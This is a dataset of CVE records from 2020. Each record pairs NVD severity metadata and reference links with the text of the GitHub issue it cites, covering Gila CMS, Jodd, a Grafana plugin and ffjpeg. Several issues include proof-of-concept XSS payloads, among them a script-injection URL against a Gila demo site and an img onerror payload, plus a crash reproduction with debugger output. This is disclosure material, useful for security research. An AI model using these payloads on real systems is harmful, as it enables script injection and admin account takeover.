'allCoursesLabel'|trans(current_locale.code) }}</a> 19 </li> 20 .. 22 <li class="sidebar-menu__item"> 23 <a 24: href="/courses/categories/{{ category.slug }}{{ query_string }}" 25 class="sidebar-menu__link {{ 'active' if current_category and current_category.id == category.id else '' }}" 26 >{{ category.title }}</a> /Users/CongRong/github/the-example-app.py/views/layout.dhtml: 147 148 <div class="header__upper-menu"> 149: <a href="/settings{{ query_string }}">{{ 'settingsLabel'|trans(current_locale.code) }}</a> 150 </div> 151 </div> ... 155 <div class="header__lower layout-centered"> 156 <div class="header__logo"> 157: <a class="header__logo-link" href="/{{ query_string }}"> 158 <img src="{{ url_for('static', filename='images/the-example-app-logo-python.svg') }}" alt="{{ 'logoAlt'|trans(current_locale.code) }}" /> 159 </a> ... 163 <ul> 164 <li> 165: <a class="{{ 'active' if current_path == '/' else '' }}" href="/{{ query_string }}">{{ 'homeLabel'|trans(current_locale.code) }}</a> 166 </li> 167 <li> 168: <a class="{{ 'active' if current_path.startswith('/courses') else '' }}" href="/courses{{ query_string }}">{{ 'coursesLabel'|trans(current_locale.code) }}</a> 169 </li> 170 </ul> ... 186 <ul> 187 <li> 188: <a class="{{ 'active' if current_path == '/' else '' }}" href="/{{ query_string }}">{{ 'homeLabel'|trans(current_locale.code) }}</a> 189 </li> 190 <li> 191: <a class="{{ 'active' if current_path.startswith('/courses') else '' }}" href="/courses{{ query_string }}">{{ 'coursesLabel'|trans(current_locale.code) }}</a> 192 </li> 193 </ul> ... 216 {{ 'footerDisclaimer'|trans(current_locale.code) }}  217 <a href="https://github.com/contentful/the-example-app.php" target="_blank" rel="noopener">{{ 'viewOnGithub'|trans(current_locale.code) }}</a>.  218: <a href="/imprint{{ query_string }}">{{ 'imprintLabel'|trans(current_locale.code) }}</a>.  219 <a href="https://www.contentful.com/contact/">{{ 'contactUsLabel'|trans(current_locale.code) }}</a>. 220 </p> /Users/CongRong/github/the-example-app.py/views/partials/breadcrumb.dhtml: 3 {% for crumb in breadcrumbs -%} 4 <li> 5: <a href="{{ crumb['url'] }}{{ query_string }}">{{ crumb['label'] }}</a> 6 </li> 7 {%- endfor %} /Users/CongRong/github/the-example-app.py/views/partials/breadcrumb.html: 3 {% for crumb in breadcrumbs -%} 4 <li> 5: <a href="{{ crumb['url'] }}{{ query_string }}">{{ crumb['label'] }}</a> 6 </li> 7 {%- endfor %} /Users/CongRong/github/the-example-app.py/views/partials/courseCard.dhtml: 4 {% for category in course.categories %} 5 <div class="course-card__category"> 6: <a class="course-card__category-link" href="/courses/categories/{{ category.slug }}{{ query_string }}">{{ category.title }}</a> 7 </div> 8 {% endfor %} . 11 12 <h2 class="course-card__title"> 13: <a href="/courses/{{ course.slug }}{{ query_string }}">{{ course.title }}</a> 14 {% if should_show_entry_state(course, current_api['id']) %} 15 <div class='editorial-features'> .. 22 23 <div class="course-card__link-wrapper"> 24: <a href="/courses/{{ course.slug }}{{ query_string }}" class="course-card__link">{{ 'viewCourseLabel'|trans(current_locale.code) }}</a> 25 </div> 26 </div> /Users/CongRong/github/the-example-app.py/views/partials/lesson.dhtml: 35 36 {% if next_lesson %} 37: <a href="/courses/{{ course.slug }}/lessons/{{ next_lesson.slug }}{{ query_string }}" class="lesson__cta cta">{{ 'nextLessonLabel'|trans(current_locale.code) }}</a> 38 {% endif %} 39 </div> /Users/CongRong/github/the-example-app.py/views/partials/lesson.html: 35 36 {% if next_lesson %} 37: <a href="/courses/{{ course.slug }}/lessons/{{ next_lesson.slug }}{{ query_string }}" class="lesson__cta cta">{{ 'nextLessonLabel'|trans(current_locale.code) }}</a> 38 {% endif %} 39 </div> /Users/CongRong/github/the-example-app.py/views/partials/moduleCopy.dhtml: 14 <div class="module-copy__second{{ style }}"> 15 {% if module.cta_title and module.cta_link %} 16: <a href="{{ module.cta_link }}{{ query_string }}" class="cta module-copy__cta{{ style }}">{{ module.cta_title }}</a> 17 {% endif %} 18 </div> /Users/CongRong/github/the-example-app.py/views/partials/moduleHighlightedCourse.dhtml: 9 <div class="module-highlighted-course__categories"> 10 {% for category in course.categories %} 11: <a href="/courses/categories/{{ category.slug }}{{ query_string }}" class="module-highlighted-course__category">{{ category.title }}</a> 12 {% endfor %} 13 </div> .. 15 16 <h2 class="module-highlighted-course__title"> 17: <a href="/courses/{{ course.slug }}{{ query_string }}">{{ course.title }}</a> 18 </h2> 19 .. 23 24 <div class="module-highlighted-course__link-wrapper"> 25: <a href="/courses/{{ course.slug }}{{ query_string }}" class="module-highlighted-course__link">{{ 'viewCourseLabel'|trans(current_locale.code) }}</a> 26 </div> 27 </div> /Users/CongRong/github/the-example-app.py/views/settings.dhtml: 86 </p> 87 88: <form method="post" action="/settings/reset{{ query_string }}"> 89 <p> 90 <strong>{{ "applicationCredentialsLabel"|trans(current_locale.code) }}:</strong><br /> .. 102 {% endif %} 103 104: <form action="/settings{{ query_string }}" method="POST" class="form"> 105 <div class='form-item'> 106 <label for="input-space-id">{{ 'spaceIdLabel'|trans(current_locale.code) }}</label> 30 matches across 13 files ```

Reflected Xss

https://api.github.com/repos/contentful/the-example-app.py/issues/44/comments

3

2020-05-21T13:52:53Z

2020-06-17T13:56:18Z

https://github.com/contentful/the-example-app.py/issues/44

622,514,092

44

1,230

CVE-2019-20803

2020-05-21T22:15:09.957

Gila CMS before 1.11.6 has reflected XSS via the admin/content/postcategory id parameter, which is mishandled for g_preview_theme.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory", "VDB Entry" ], "url": "http://packetstormsecurity.com/files/158201/GilaCMS-1.11.5-Cross-Site-Request-Forgery-Cross-Site-Scripting.html" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Mailing List", "Third Party Advisory" ], "url": "http://seclists.org/fulldisclosure/2020/Jun/29" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/GilaCMS/gila/issues/56" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory", "VDB Entry" ], "url": "http://packetstormsecurity.com/files/158201/GilaCMS-1.11.5-Cross-Site-Request-Forgery-Cross-Site-Scripting.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Mailing List", "Third Party Advisory" ], "url": "http://seclists.org/fulldisclosure/2020/Jun/29" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/GilaCMS/gila/issues/56" } ]

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[ "79" ]

79

https://github.com/GilaCMS/gila/issues/56

[ "Exploit", "Third Party Advisory" ]

github.com

[ "GilaCMS", "gila" ]

**Describe the bug** XSS when a admin click on the link bellow, the g_preview_theme parameter not encoding the double quotes, an attacker could trick the admin to click on that link.. https://demo.gilacms.com/cm/edit_form/postcategory?id=8%22+%3E%3Cscript%3Ealert(1)%3C/script%3E **To Reproduce** Steps to reproduce the behavior: 1. Go to 'https://demo.gilacms.com/admin/content/postcategory' 2. Click on 'edit' 3. With a web proxy like burp intercept that request, and after id= parameter put " "+><script>alert(1)</script> 4. See the alert on browser.. **Screenshots** If applicable, add screenshots to help explain your problem. **Desktop (please complete the following information):** - Browser Firefox - Version 70.0 (64-bit) **Additional context** In fact the attacker could trick any admin to click on https://demo.gilacms.com/cm/edit_form/postcategory?id=8%22+%3E%3Cscript%3Ealert(1)%3C/script%3E .. and execute javascript..

Cross Site Scripting (XSS) -

https://api.github.com/repos/GilaCMS/gila/issues/56/comments

2

2019-10-29T14:30:35Z

2019-11-10T22:54:40Z

https://github.com/GilaCMS/gila/issues/56

513,961,405

56

1,231

CVE-2019-20804

2020-05-21T22:15:10.003

Gila CMS before 1.11.6 allows CSRF with resultant XSS via the admin/themes URI, leading to compromise of the admin account.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory", "VDB Entry" ], "url": "http://packetstormsecurity.com/files/158201/GilaCMS-1.11.5-Cross-Site-Request-Forgery-Cross-Site-Scripting.html" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Mailing List", "Third Party Advisory" ], "url": "http://seclists.org/fulldisclosure/2020/Jun/29" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/GilaCMS/gila/issues/57" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory", "VDB Entry" ], "url": "http://packetstormsecurity.com/files/158201/GilaCMS-1.11.5-Cross-Site-Request-Forgery-Cross-Site-Scripting.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Mailing List", "Third Party Advisory" ], "url": "http://seclists.org/fulldisclosure/2020/Jun/29" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/GilaCMS/gila/issues/57" } ]

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[ "352" ]

352

https://github.com/GilaCMS/gila/issues/57

[ "Exploit", "Third Party Advisory" ]

github.com

[ "GilaCMS", "gila" ]

#### Title - Persistence XSS at "https://demo.gilacms.com/admin/themes" #### Description - A number of factors lead to an attack that could compromise an admin user account. The following steps describe how to achieve it. First, the functionality in question is vulnerable to XSS attacks in the field responsible for changing the page header. Due to the fact that this feature does not have any anti CSRF token (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)) an attack using an auto-submit form containing XSS is feasible. thema in question .. as aggravating none of the admin user session tokens, they are protected with the HTTP only flag, ie they can be caught via scripting languages. #### POC The following two demos illustrate respectively, direct insertion via functionality, and shortly after a proof of concept using an attacker's domain site and the victim (in this case the admin) by clicking on the form containing the same request to fire and persist a XSS on your blog homepage - XSS vulnerable endpoint ![csrf_01](https://user-images.githubusercontent.com/49701399/67789436-bb691880-fa52-11e9-929a-dcfe89a1ea51.gif) - Attack POC ![csrf_xss](https://user-images.githubusercontent.com/49701399/67789459-c7ed7100-fa52-11e9-8e29-af530d7aabfd.gif)

XSS + CSRF - Admin account takeover

https://api.github.com/repos/GilaCMS/gila/issues/57/comments

1

2019-10-29T16:48:33Z

2019-11-10T22:44:27Z

https://github.com/GilaCMS/gila/issues/57

514,068,129

57

1,232

CVE-2018-21234

2020-05-21T23:15:11.103

Jodd before 5.0.4 performs Deserialization of Untrusted JSON Data when setClassMetadataName is set.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/oblac/jodd/commit/9bffc3913aeb8472c11bb543243004b4b4376f16" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/oblac/jodd/compare/v5.0.3...v5.0.4" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/oblac/jodd/issues/628" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.apache.org/thread.html/r0bacc701ab7105500a0ab2769270d18f332cb379e6a62ec7553f3327%40%3Cissues.hive.apache.org%3E" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.apache.org/thread.html/r157d01c96a2c10e7ceb3e005f42c52cfe87b11dd018935e1c4277433%40%3Cgitbox.hive.apache.org%3E" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.apache.org/thread.html/r317aec95c436848233047af7ecb3ce04ce446eb6031f981aef50df0d%40%3Cdev.drill.apache.org%3E" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.apache.org/thread.html/r729bc1e0f367fe8a857ac8a14641dba284ac4cf5131edf483022cf59%40%3Cissues.hive.apache.org%3E" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.apache.org/thread.html/r965503b27d67a2d934e34fc1d088c9547d51d927c43b8b9bd9b7e695%40%3Cissues.hive.apache.org%3E" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.apache.org/thread.html/rc23200043872384e0fc48a4a4502f4c6b4b5ddc79ba4076414150d59%40%3Cissues.hive.apache.org%3E" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.apache.org/thread.html/rc85b650b4ad2c77d7c39c69824488e40dce6d0ebbb4204777d094375%40%3Cgitbox.hive.apache.org%3E" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.apache.org/thread.html/rd575d9877424a2d8776f5c2ff33bf3dc3382cd83f031d483f29c11ab%40%3Cissues.hive.apache.org%3E" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.apache.org/thread.html/rdbb99b43334b59d3d3478d360c87e3235ba22edb1de7d39019194347%40%3Cissues.hive.apache.org%3E" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.apache.org/thread.html/rdce006b282e56c5cc73cdf452c51c5097154d0503396d62f48abbeae%40%3Cgitbox.hive.apache.org%3E" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.apache.org/thread.html/rf458683390d6650b26a2c8ba8ad396e038e520ad1cc3f3f1e20514d9%40%3Cdev.hive.apache.org%3E" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/oblac/jodd/commit/9bffc3913aeb8472c11bb543243004b4b4376f16" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/oblac/jodd/compare/v5.0.3...v5.0.4" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/oblac/jodd/issues/628" }, { "source": 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"tags": null, "url": "https://lists.apache.org/thread.html/rdce006b282e56c5cc73cdf452c51c5097154d0503396d62f48abbeae%40%3Cgitbox.hive.apache.org%3E" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": null, "url": "https://lists.apache.org/thread.html/rf458683390d6650b26a2c8ba8ad396e038e520ad1cc3f3f1e20514d9%40%3Cdev.hive.apache.org%3E" } ]

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[ "502" ]

502

https://github.com/oblac/jodd/issues/628

[ "Third Party Advisory" ]

github.com

[ "oblac", "jodd" ]

## Current behavior Jodd's Json parser supports polymorphic deserialization when setClassMetadataName is set. If an application parses JSON with this configuration from an untrusted source, it could lead to remote code execution. The problem is quite the same as in other Java JSON libraries. Here you can read more: - https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062 - https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf ## Expected behavior At least, you should mention security-implication of usage setClassMetadataName, similar to [Jackson databind](https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization#111-security-risks-using-global-default-typing) ## Steps to Reproduce the Problem If necessary, I could send an example of JSON which lead to RCE

Potential vulnerability in JSON deserialization

https://api.github.com/repos/oblac/jodd/issues/628/comments

5

2018-08-17T13:37:15Z

2022-03-29T02:10:34Z

https://github.com/oblac/jodd/issues/628

351,597,881

628

1,233

CVE-2020-13429

2020-05-24T18:15:10.003

legend.ts in the piechart-panel (aka Pie Chart Panel) plugin before 1.5.0 for Grafana allows XSS via the Values Header (aka legend header) option.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/grafana/piechart-panel/issues/218" }, { "source": "cve@mitre.org", "tags": [ "Release Notes", "Third Party Advisory" ], "url": "https://github.com/grafana/piechart-panel/releases/tag/v1.5.0" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/grafana/piechart-panel/issues/218" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Release Notes", "Third Party Advisory" ], "url": "https://github.com/grafana/piechart-panel/releases/tag/v1.5.0" } ]

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[ "79" ]

79

https://github.com/grafana/piechart-panel/issues/218

[ "Issue Tracking", "Third Party Advisory" ]

github.com

[ "grafana", "piechart-panel" ]

The pie-chart panel is potentially vulnerable to XSS scripting as it processes any javascript in the "Values Header" configuration option. e.g. <img src=/ onerror=alert('piechart_XSS')> ![image](https://user-images.githubusercontent.com/8004654/73850017-deaa1d80-4822-11ea-9b15-30f14c20f853.png)

XSS flaw in piechart panel

https://api.github.com/repos/grafana/piechart-panel/issues/218/comments

0

2020-02-05T14:23:34Z

2020-05-14T22:13:21Z

https://github.com/grafana/piechart-panel/issues/218

560,405,028

218

1,234

CVE-2020-13438

2020-05-24T23:15:09.867

ffjpeg through 2020-02-24 has an invalid read in jfif_encode in jfif.c.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/rockcarry/ffjpeg/issues/23" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/rockcarry/ffjpeg/issues/23" } ]

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[ "125" ]

125

https://github.com/rockcarry/ffjpeg/issues/23

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "rockcarry", "ffjpeg" ]

Tested in Ubuntu 16.04, 64bit. The testcase is [segv_ffjpeg_e2](https://github.com/xiaoxiongwang/function_bugs/blob/master/ffjpeg/segv_ffjpeg_e2). I use the following command: ``` ffjpeg -e segv_ffjpeg_e2 ``` and get: ``` Segmentation fault ``` I use **valgrind** to analysis the bug and get the below information (absolute path information omitted): ``` ==12529== Memcheck, a memory error detector ==12529== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==12529== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==12529== Command: ffjpeg -e segv_ffjpeg_e2 ==12529== ==12529== Argument 'size' of function malloc has a fishy (possibly negative) value: -2097127520 ==12529== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==12529== by 0x4015EB: bmp_load (bmp.c:52) ==12529== by 0x400F2B: main (ffjpeg.c:29) ==12529== ==12529== Invalid read of size 1 ==12529== at 0x40C930: jfif_encode (jfif.c:748) ==12529== by 0x400F33: main (ffjpeg.c:30) ==12529== Address 0x0 is not stack'd, malloc'd or (recently) free'd ==12529== ==12529== ==12529== Process terminating with default action of signal 11 (SIGSEGV) ==12529== Access not within mapped region at address 0x0 ==12529== at 0x40C930: jfif_encode (jfif.c:748) ==12529== by 0x400F33: main (ffjpeg.c:30) ==12529== If you believe this happened as a result of a stack ==12529== overflow in your program's main thread (unlikely but ==12529== possible), you can try to increase the size of the ==12529== main thread stack using the --main-stacksize= flag. ==12529== The main thread stack size used in this run was 8388608. ==12529== ==12529== HEAP SUMMARY: ==12529== in use at exit: 33,643,096 bytes in 12 blocks ==12529== total heap usage: 14 allocs, 2 frees, 33,647,744 bytes allocated ==12529== ==12529== LEAK SUMMARY: ==12529== definitely lost: 0 bytes in 0 blocks ==12529== indirectly lost: 0 bytes in 0 blocks ==12529== possibly lost: 0 bytes in 0 blocks ==12529== still reachable: 33,643,096 bytes in 12 blocks ==12529== suppressed: 0 bytes in 0 blocks ==12529== Rerun with --leak-check=full to see details of leaked memory ==12529== ==12529== For counts of detected and suppressed errors, rerun with: -v ==12529== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0) Segmentation fault ``` The gdb reports: ``` Starting program: ffjpeg -e segv_ffjpeg_e2 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x3f800010 RBX: 0x7ffff000e3e0 --> 0x0 RCX: 0xff RDX: 0x7f000020 RSI: 0x3f800010 RDI: 0xfe000040 RBP: 0x7ffff00103f0 --> 0x0 RSP: 0x7fffffffd6e0 --> 0x7fffffffd8c0 --> 0xff7f000020 RIP: 0x40c930 (<jfif_encode+1968>: movzx edx,BYTE PTR [r14]) R8 : 0x1fc000080 R9 : 0x7ffff00063d0 --> 0x0 R10: 0x7fffffffd8c0 --> 0xff7f000020 R11: 0x7ffff0004ecc --> 0x105010000000000 R12: 0x7ffff00063d0 --> 0x0 R13: 0x7fffffffd770 --> 0x0 R14: 0x0 R15: 0x0 EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40c91c <jfif_encode+1948>: mov rdx,QWORD PTR [rsp] 0x40c920 <jfif_encode+1952>: lea rsp,[rsp+0x98] 0x40c928 <jfif_encode+1960>: nop DWORD PTR [rax+rax*1+0x0] => 0x40c930 <jfif_encode+1968>: movzx edx,BYTE PTR [r14] 0x40c934 <jfif_encode+1972>: movzx esi,BYTE PTR [r14+0x1] 0x40c939 <jfif_encode+1977>: mov rcx,r12 0x40c93c <jfif_encode+1980>: movzx edi,BYTE PTR [r14+0x2] 0x40c941 <jfif_encode+1985>: mov r9,rbp [------------------------------------stack-------------------------------------] 0000| 0x7fffffffd6e0 --> 0x7fffffffd8c0 --> 0xff7f000020 0008| 0x7fffffffd6e8 --> 0x7fff00000000 0016| 0x7fffffffd6f0 --> 0x1fc000080 0024| 0x7fffffffd6f8 --> 0xfe000040 0032| 0x7fffffffd700 --> 0x7fff00000100 0040| 0x7fffffffd708 --> 0x7f000020 0048| 0x7fffffffd710 --> 0x7ffff00008c0 --> 0xff7f000020 0056| 0x7fffffffd718 --> 0xff000000ff00 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV jfif_encode (pb=pb@entry=0x7fffffffd8c0) at jfif.c:748 748 rgb_to_yuv(bsrc[2], bsrc[1], bsrc[0], ydst, udst, vdst); gdb-peda$ bt #0 jfif_encode (pb=pb@entry=0x7fffffffd8c0) at jfif.c:748 #1 0x0000000000400f34 in main (argc=argc@entry=0x3, argv=argv@entry=0x7fffffffd9c8) at ffjpeg.c:30 #2 0x00007ffff7a2d830 in __libc_start_main (main=0x400be0 <main>, argc=0x3, argv=0x7fffffffd9c8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffd9b8) at ../csu/libc-start.c:291 #3 0x0000000000401019 in _start () ``` An attacker can exploit this vulnerability by submitting a malicious bmp that exploits this bug which will result in a Denial of Service (DoS).

SEGV in function jfif_encode in jfif.c:748

https://api.github.com/repos/rockcarry/ffjpeg/issues/23/comments

2

2020-05-23T17:08:31Z

2020-07-27T08:14:45Z

https://github.com/rockcarry/ffjpeg/issues/23

623,701,501

23

1,235

CVE-2020-13439

2020-05-24T23:15:09.927

ffjpeg through 2020-02-24 has a heap-based buffer over-read in jfif_decode in jfif.c.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/rockcarry/ffjpeg/issues/24" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/rockcarry/ffjpeg/issues/24" } ]

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[ "125" ]

125

https://github.com/rockcarry/ffjpeg/issues/24

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "rockcarry", "ffjpeg" ]

